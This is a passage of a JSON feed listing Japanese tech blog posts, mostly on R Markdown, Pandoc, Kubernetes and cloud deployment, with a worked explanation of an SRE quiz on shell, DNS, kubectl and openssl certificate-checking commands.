ウェブブラウザのプロテクションプロファイル","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"CRANを見据えるならパッケージの機能が最小限の内に送ってしまえ","link":"https://blog.atusy.net/2020/07/27/creating-package/","contentSnippet":"金曜日にchunkhooksパッケージをCRANに送りだしました。コードブロックに行番号をつけたり、fig.widthの単位をインチからミリメートルに変換したり、そんなおお役立ちフックをちょこちょこ盛り込んでいます。","isoDate":"2020-07-27T00:00:00.000Z","dateMiliSeconds":1595808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tibbleでカラーコードを示す列を色付けてみる","link":"https://blog.atusy.net/2020/07/23/color-tibble-column/","contentSnippet":"にすぜっとさんのツィートを見かけて挑戦してみました (https://twitter.com/niszet0/status/1286245706504708101)。まっとうな人はformattableとかそーゆーの使った方がいいんじゃないかな。以下のコードをRStudioのコンソールにでもコピペしてみてくださいな。ちなみにR MarkdownではRStudio IDEのpreview画面にも、HTMLなどの出力にも反映されない。","isoDate":"2020-07-23T00:00:00.000Z","dateMiliSeconds":1595462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テスト駆動開発してCRANに投げるの大事ネ","link":"https://blog.atusy.net/2020/07/20/cran-package-with-tests/","contentSnippet":"CRANに登録済みのftExtraパッケージはPandocのASTを扱ったりする都合上、内部のデータ操作が結構複雑なので、自分の意図した動作が実現するか随時確認できるように、単体テストを重視していました。","isoDate":"2020-07-20T00:00:00.000Z","dateMiliSeconds":1595203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse:4.0.2を使おうとして躓いた","link":"https://blog.atusy.net/2020/07/17/rocker-verse-4-0-2/","contentSnippet":"RをDockerで簡単に使えるようにするプロジェクトとしてrockerがあります。こいつ、R 3.x.x系とR 4.x.x系でDockerfileの書き方が結構変わったので、拡張イメージを作っている人は要注意です。","isoDate":"2020-07-17T00:00:00.000Z","dateMiliSeconds":1594944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自作キーボードLily 58 ProのスィッチをChoc Red Proに換装した","link":"https://blog.atusy.net/2020/07/13/choc-red-pro/","contentSnippet":"左右分離式のLily 58 Proを使っています。キースィッチがソケット式になっていて、簡単に交換できるのがウリの一つ。このとところキーが重くて入力に失敗することがあるのが気になっていたので、キースィッチオープナーを使ってスプリングを交換してやろうかと考えていました。その場合、DMMあたりでオープナーを買って、遊舎工房あたりでスプリングを買って、作業もそれなりにあってと大仕事。","isoDate":"2020-07-13T00:00:00.000Z","dateMiliSeconds":1594598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 86でifもforも使わずにlifegameを実装する話をしてきました","link":"https://blog.atusy.net/2020/06/29/tokyor86-lifegame/","contentSnippet":"「え!? ifもforも使わずにライフゲームの実装を!?」「できらR!!」 というタイトルで話してきました。時間切れになってしまうあたり、準備不足を晒してしまってお恥ずかしい限りでした。もっと伝えたいことがあったのに!","isoDate":"2020-06-29T00:00:00.000Z","dateMiliSeconds":1593388800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"R Markdownでhtml_documentを拡張する時の注意点 (self_contained)","link":"https://blog.atusy.net/2020/06/22/extending-rmarkdown-without-self-contained/","contentSnippet":"rmarkdown::html_documentをrmarkdown::output_formatで拡張する時、引数の指定方法を注意しないと、self_contained引数やkeep_md引数がうまく機能しなくなります(参考: オリジナルなR Markdownの出力形式を作るoutput_format関数事始め)。","isoDate":"2020-06-22T00:00:00.000Z","dateMiliSeconds":1592784000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VScode Maven でJunit 使ってみた","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ!って人はこちらを参考にしてみてください。動作環境macOS …","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"R Markdownで出力結果を隠せるようにしてみた (minidownパッケージ)","link":"https://blog.atusy.net/2020/06/14/minidown-with-result-folding/","contentSnippet":"minidownパッケージを使うと以下のような感じのことができるようになります。Resultsの部分をクリックすると図が現れます。plot(iris)Results実例は http://minidown.atusy.net/#results-folding を参照してください。","isoDate":"2020-06-14T00:00:00.000Z","dateMiliSeconds":1592092800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VSCode JavaでHelloWorldした","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ!って人には…","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Osaka.Rで昼間のリモートもくもく会を開催しました (2020/6/6)","link":"https://blog.atusy.net/2020/06/08/osakar-mokumoku-20200606/","contentSnippet":"Osaka.Rで昼間のリモートもくもく会を開催しました。これは毎平日の朝に行っているリモートもくもく会のグレードアップ版的な位置付けです。休日開催することで、朝もくより長く時間をとり、進捗を出しつつさらに参加者同士で進捗を可視化しようという試みです。","isoDate":"2020-06-08T00:00:00.000Z","dateMiliSeconds":1591574400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/@yteraoka/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"knitr::opts_hooksを設定するとチャンクキャッシュが更新されうる","link":"https://blog.atusy.net/2020/06/02/chunk-hooks-may-invalidates-cache/","contentSnippet":"R Markdownのチャンクのキャッシュは、チャンクオプションかコメント以外のコードに変更が加わった場合に更新されます。またR Markdownの背後で動いているknitrパッケージにはフックという概念があり、例えば特定のチャンクオプションがNULL以外の値の場合に発火する関数を仕込むことができます。この場合、関数はチャンクオプションを引数で受け取り、新しいチャンクオプションを返します。","isoDate":"2020-06-02T00:00:00.000Z","dateMiliSeconds":1591056000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc Lua Filtersのreturnの挙動と複数のフィルタを書くときの用例","link":"https://blog.atusy.net/2020/05/31/lua-filter-returns/","contentSnippet":"PandocのLua Filterでは、Lua Type Referenceに載っている型と同じ名前の関数を作成すると、その型の要素を見つけて順々に関数を適用してくれる。たとえば、Pandoc関数を作成すると、ドキュメント全体のASTを受けとって処理を実行できる。以下は、Luaフィルタを実行していると教えてくれる例。","isoDate":"2020-05-31T00:00:00.000Z","dateMiliSeconds":1590883200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 85で「R Markdownのオリジナルフォーマットを作ろう」の話をしてきました","link":"https://blog.atusy.net/2020/05/25/tokyor85/","contentSnippet":"毎週月曜日はブログ更新の日!と決めつつ、土曜に発表頑張ったからいいよなあと言う気分に。なので発表しましたとの記録だけ残しておきます。スライドはこちら成果minidownパッケージを不況できた1オリジナルフォーマット作りに興味を持つ人が出てくれた2想定ターゲットとマッチする参加者がいた3肥大化したYAMLフロントマターをなんとかしたい依存ファイルの関係を整理したいLua Filterの有効性を実感頂けた4課題Pandocの処理のお話はまだあまり詳しくR界隈で知られていないように思う。今回のテーマと関連するところでは以下あたり。","isoDate":"2020-05-25T00:00:00.000Z","dateMiliSeconds":1590364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"オリジナルなR Markdownの出力形式を作る`output_format`関数事始め","link":"https://blog.atusy.net/2020/05/11/rmd-output-fromat-function/","contentSnippet":"rmarkdown::output_format関数は、新規に、あるいは既存の出力形式を上書きしてオリジナルなR Markdownのの出力形式を作成するための関数です。rmarkdown::render関数を実行する際に、レンダリングに必要な情報をリストで渡します。リストの内容は、自身のbase_format引数を除く引数の名前です。詳しくはドキュメントを参照して頂くか、その内解説する日を待って頂きたいところ。","isoDate":"2020-05-11T00:00:00.000Z","dateMiliSeconds":1589155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"朝もくを1ヶ月して得た教訓とか #OsakaR","link":"https://blog.atusy.net/2020/05/10/my-way-of-asamoku/","contentSnippet":"1 目標を宣言しよう1.1 朝もくの間に達成できる粒度の目標を作ろう1.2 色々やろう2 進捗は報告しよう3 互いを褒めよう4 別のコミュニティも利用しよう5 アウトプットしよう6 Enjoy!!Osaka.Rの活動としてリモート朝もくを始め1ヶ月ほどが経過しました。良い機会なので、その過程で得た教訓とかをまとめておきたいと思います。必ずしも毎回守れているわけではありませんが、大事にしていきたいので宣言もかねてblog化しました。","isoDate":"2020-05-10T00:00:00.000Z","dateMiliSeconds":1589068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"html_document(self_contained = FALSE) で出力した時の携帯性をあげるextra_dependencies引数","link":"https://blog.atusy.net/2020/05/03/rmd-extra-dependencies/","contentSnippet":"rmarkdown::html_document関数には、self_contained引数がFALSEな時でも依存しているJavaScriptやCSSをポータブルにするために、extra_dependencies引数が用意されています。本記事ではこの引数の使い方について紹介します。","isoDate":"2020-05-03T00:00:00.000Z","dateMiliSeconds":1588464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocにself containedさせたくないデータには`data-external=\\"1\\"`を属性付与しよう","link":"https://blog.atusy.net/2020/04/27/pandoc-data-external/","contentSnippet":"self containedなドキュメントでも数式を使うR Markdownの場合Enjoy先日の記事ではR MarkdownでKaTeXをCDNから読み込む際に、Pandocが出力にKaTeXを埋め込まないようにするハックを紹介しました。","isoDate":"2020-04-27T00:00:00.000Z","dateMiliSeconds":1587945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでKaTeXを使う","link":"https://blog.atusy.net/2020/04/23/katex-in-html-doc/","contentSnippet":"はじめにアイディア実装プレースホルダの作成KaTeXスクリプトの用意フォーマット関数の用意ベースフォーマットの用意ベースフォーマットを改変する関数の用意レンダリング実用化に向けてEnjoy!はじめに今、Rmdから出力できるHTML5でJavaScript控え目で軽量で高速なHTML文書フォーマットとして、minidown::mini_documentを開発しています。割と実用段階に入ったと思うので、以下のサンプルページを見て見てください。https://minidown-example.atusy.net/","isoDate":"2020-04-23T00:00:00.000Z","dateMiliSeconds":1587600000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Osaka.Rを立ち上げて、リモート朝モクやってます","link":"https://blog.atusy.net/2020/04/21/osakar-asamoku/","contentSnippet":"Osaka.R始めました外出自粛の中でできること = リモート朝もく朝もくの感想個人的なOsaka.Rを立ち上げの背景Osaka.R始めました転職して大阪に引越したのを機にOsaka.Rを始めることにしました。奇しくもOsaka.Rを始めたいと同時期に思っていたくろきちさん、わさびさんと共に立ち上げることにしました。","isoDate":"2020-04-21T00:00:00.000Z","dateMiliSeconds":1587427200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"3月末日で退職してました","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Pandoc lua filter手習い: detailクラス付きのコードブロックを折り畳む","link":"https://blog.atusy.net/2020/03/07/pandoc-lua-detailed-codeblock/","contentSnippet":"実装関数を書くコードブロックをそのまま返すコードブロックをタグで囲むdetailsクラスを持つコードブロックだけ
タグで囲う。detailsクラスを持つコードブロックだけ
タグで囲い、summary要素が指定されていれば、タグに記述するR Markdownで使ってみるRmdファイルデモ: 折り畳み時デモ: 展開時R Markdownのhtml_documentでソースコードだけじゃなくて結果も折り畳みたいようとの声があった。レッスン時にコードの実行結果を受講者に予想させてから見せたい場合を想定しているようだ。そこでknitr::knit_hooksを使う忍術を紹介した。https://github.com/rstudio/rmarkdown/issues/1453#issuecomment-595797200","isoDate":"2020-03-07T00:00:00.000Z","dateMiliSeconds":1583539200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"revealjs_presentationでコードブロックに行番号を付与する","link":"https://blog.atusy.net/2020/03/02/revealjs-linenumbers/","contentSnippet":"code.sourceCode > span { display: inline-block; line-height: 1.25; }code.sourceCode > span { color: inherit; text-decoration: inherit; }code.sourceCode > span:empty { height: 1.2em; }.sourceCode { overflow: visible; }code.sourceCode { white-space: pre; position: relative; }div.sourceCode { margin: 1em 0; }pre.sourceCode { margin: 0; }@media screen {div.sourceCode { overflow: auto; }}@media print {code.sourceCode { white-space: pre-wrap; }code.sourceCode > span { text-indent: -5em; padding-left: 5em; }}pre.numberSource code { counter-reset: source-line 0; }pre.numberSource code > span { position: relative; left: -4em; counter-increment: source-line; }pre.numberSource code > span > a:first-child::before { content: counter(source-line); position: relative; left: -1em; text-align: right; vertical-align: baseline; border: none; display: inline-block; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; padding: 0 4px; width: 4em; color: #aaaaaa; }pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }div.sourceCode { }@media screen {code.sourceCode > span > a:first-child::before { text-decoration: underline; }}code span.al { color: #ff0000; font-weight: bold; } /* Alert */code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */code span.at { color: #7d9029; } /* Attribute */code span.bn { color: #40a070; } /* BaseN */code span.bu { } /* BuiltIn */code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */code span.ch { color: #4070a0; } /* Char */code span.cn { color: #880000; } /* Constant */code span.co { color: #60a0b0; font-style: italic; } /* Comment */code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */code span.do { color: #ba2121; font-style: italic; } /* Documentation */code span.dt { color: #902000; } /* DataType */code span.dv { color: #40a070; } /* DecVal */code span.er { color: #ff0000; font-weight: bold; } /* Error */code span.ex { } /* Extension */code span.fl { color: #40a070; } /* Float */code span.fu { color: #06287e; } /* Function */code span.im { } /* Import */code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */code span.kw { color: #007020; font-weight: bold; } /* Keyword */code span.op { color: #666666; } /* Operator */code span.ot { color: #007020; } /* Other */code span.pp { color: #bc7a00; } /* Preprocessor */code span.sc { color: #4070a0; } /* SpecialChar */code span.ss { color: #bb6688; } /* SpecialString */code span.st { color: #4070a0; } /* String */code span.va { color: #19177c; } /* Variable */code span.vs { color: #4070a0; } /* VerbatimString */code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */R Markdownでは、コードブロックにnumberLinesクラスを与えると、Pandocが行番号を付与してくれます。例えば以下のコードブロックをblogdownでレンダリングすると、ちゃんと行番号が付与されます1。","isoDate":"2020-03-02T00:00:00.000Z","dateMiliSeconds":1583107200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ノートブックの最適化はfor文の最適化に通ず","link":"https://blog.atusy.net/2020/02/27/simple-notebook/","contentSnippet":"ループせずに済む処理はforの外に出せループ前要旨パッケージ読み込み関数定義データ読み込み・整形ループ内小規模なデータ整形分析・可視化解釈ループ後データ分析は大きく読み込み・整形分析可視化解釈の4つの要素で成り立つと思う。できればこの順に1サイクルして終わりたいが、現実的には何サイクルも回す。そしてメンテナンス不能で読む気も失せる巨大ノートブックができあがることは、想像に難くない。","isoDate":"2020-02-27T00:00:00.000Z","dateMiliSeconds":1582761600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","contentSnippet":"これは何?2020年1月25日に行われた SRE NEXT 2020 で,メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上:メルペイキーキャップ4問以上:メルペイキーキャップ+メルペイ SRE が推薦する本今日は SRE NEXT に来ています!ブース出してます!メルペイSREが考えたクイズに挑戦してみてください!#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って?ツイートのスレッドをたどっていくと,ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか?選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI(サービスレベル指標)の目標値または値の範囲を SLO(サービスレベル目標)といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか?選択肢idwhoamiwholsgroup正解id解説明示されていないですが,UNIX 系 OS のコマンドを前提としていますね。id:ユーザー情報を表示するコマンドで,ユーザー情報(ID,名前)とグループ情報(ID,名前)が表示されます。実行例:foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami:実行ユーザーの ID を表示するコマンドです。id -un と等価です。who:実行ユーザーの情報(名前,プロセス,起動時刻など)を表示するコマンドです。lsgroup:グループの属性を表示する AIX(IBM の UNIX 系 OS)のコマンドです。デフォルトパラメータがないので,グループを指定するか ALL を指定する必要があります。これらのうち,ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか?選択肢33 2 1error1正解3 2 1解説bash -c string:string が bash で実行されます。echo message:message と改行を出力します。パイプ |:コマンドの出力を次のコマンドの標準入力に渡します。ここでは,3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\':AWK のコマンドで,入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略(空パターン)すると,全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\":\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので,$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり,全パターンに対してそのまま出力する挙動になります。したがって,$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに,1番目のフィールドを表示させたい場合は,$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ,シングルクォート \'\' で囲まれた $ が展開されず,意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり,ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか?選択肢225380443正解53解説すべて well-known ポート番号です。22:SSH53:DNS80:HTTP443:HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは,以下のうちどれか?選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe:リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs:コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get:リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると,Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると,その Deployment に関連したイベントを取得できるので,kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか?選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text:OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し,x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので,grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると,証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com:Response Body(ここでは HTML)が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com:指定した URL の内容を証明書の検証をせずにダウンロードしてファイル(ここでは index.html)に保存します。標準出力にはリクエストの実行ログが吐かれますが,TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com:Nmap を用い,指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例:PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL,Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1,4を確実に正解して,その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが,業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会 Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編!Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD!ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 